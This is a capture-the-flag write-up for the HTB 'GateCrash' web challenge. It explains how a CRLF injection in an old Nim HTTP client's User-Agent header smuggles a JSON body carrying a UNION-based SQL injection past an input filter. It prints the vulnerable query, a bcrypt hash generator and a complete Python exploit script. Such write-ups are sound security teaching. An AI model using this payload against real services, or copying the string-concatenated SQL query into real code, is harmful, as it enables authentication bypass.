GateCrash Writeup
17 December 2023 #CTF #HTB #chall #web #easy #UniCTF2023Challenge Description
An administrative portal for the campus parking area has been identified, bypassing it's authentication and gaining access to the gate control would allow us to unlock it and use staff vehicles for securing the campus premises way faster.
First Look
Web App with 2 component:
- Control API -> user facing API written in Nim
- User API -> internal API to talk to the DB written in Go
There is an obvious SQL Injection in the User API /login
endpoint:
row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';")
Only 1 endpoint on the Control API as well:
post "/user":
let username = @"username"
let password = @"password"
if containsSqlInjection(username) or containsSqlInjection(password):
resp msgjson("Malicious input detected")
let userAgent = decodeUrl(request.headers["user-agent"])
let jsonData = %*{
"username": username,
"password": password
}
let jsonStr = $jsonData
let client = newHttpClient(userAgent)
client.headers = newHttpHeaders({"Content-Type": "application/json"})
let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr)
if response.code != Http200:
resp msgjson(response.body.strip())
resp msgjson(readFile("/flag.txt"))
This endpoint will just take our POST request and forward it to the User API, along with the User-Agent header. If we successfully login, we get the flag. We can't exploit the SQLi directly because of the containsSqlInjection()
function:
proc containsSqlInjection(input: string): bool =
for c in input:
let ordC = ord(c)
if not ((ordC >= ord('a') and ordC <= ord('z')) or
(ordC >= ord('A') and ordC <= ord('Z')) or
(ordC >= ord('0') and ordC <= ord('9'))):
return true
return false
No way to bypass this filter...
In the challenge Dockerfile, we see Nim 1.2.4 is used:
# Install nim
RUN choosenim update 1.2.4
In this version, the httpClient
in the standard library is vulnerable to a CR-LF injection
Exploitation
With this vulnerability, it is possible to inject an alternative POST body that will get used instead of the original one, thus bypassing the character blacklist.
To bypass auth with the SQLi, we can't just use ' OR 1=1-- -
because it checks the password afterwards. We can use a UNION injection to return data we want: an ID (doesn't matter), a username (doesn't matter) and a password hash (this matters). The payload will look like this:
doesntexist' UNION SELECT 42, 'yep', '<password_hash>
This will turn the SQL query into:
SELECT * FROM users WHERE username='doesntexist' UNION SELECT 42, 'yep', '<password_hash>';
We assume that the username doesntexist
doesn't exist, so the only thing returned will the the UNION SELECT.
The only thing left is to generate a bcrypt hash for a password of our choosing (in my case "asdf"):
package main
import (
"fmt"
"golang.org/x/crypto/bcrypt"
)
func main() {
hash, err := bcrypt.GenerateFromPassword([]byte("asdf"), bcrypt.DefaultCost)
if err != nil {
fmt.Println(err)
return
}
fmt.Println("hashed password:", string(hash))
}
There might be an easier way but I wanted to be as close as the application. To run it, docker exec
in the challenge container and copy this file in /app/user_api
, then go run
it:
root@b13ac0852254:/app/user_api# go run bcrypt-asdf.go
hashed password: $2a$10$2VTknsppCsKjWOaUT0sSHeHB5.y0fj/ADxhD6ZRG5PjTeq4MKx0dm
Putting this together:
#!/usr/bin/env python3
import urllib.parse
import json
import requests
#url = "http://localhost:1337/user"
url = "http://94.237.52.253:33733/user"
payload = {
"Username": "doesntexist' UNION SELECT 42, 'yep', '$2a$10$2VTknsppCsKjWOaUT0sSHeHB5.y0fj/ADxhD6ZRG5PjTeq4MKx0dm",
"Password": "asdf"
}
payload_str = json.dumps(payload)
user_agent = f"""\
Dragonfly/8.0\x0d\x0a\x0d
{payload_str}\
"""
headers = {"User-Agent": urllib.parse.quote(user_agent)}
dummy_body = {"username": "doesntmatter", "password": "A" * len(payload_str)}
res = requests.post(url, data=dummy_body, headers=headers)
print(res.text)
We have to include a specific User-Agent string because there is a whitelist in the User API:
var allowedUserAgents = []string{
"Mozilla/7.0",
"ChromeBot/9.5",
"SafariX/12.2",
"QuantumBreeze/3.0",
"EdgeWave/5.1",
"Dragonfly/8.0",
"LynxProwler/2.7",
"NavigatorX/4.3",
"BraveCat/1.8",
"OceanaBrowser/6.5",
}
flag: HTB{d0_th3_d45h_0n_th3_p4r53r}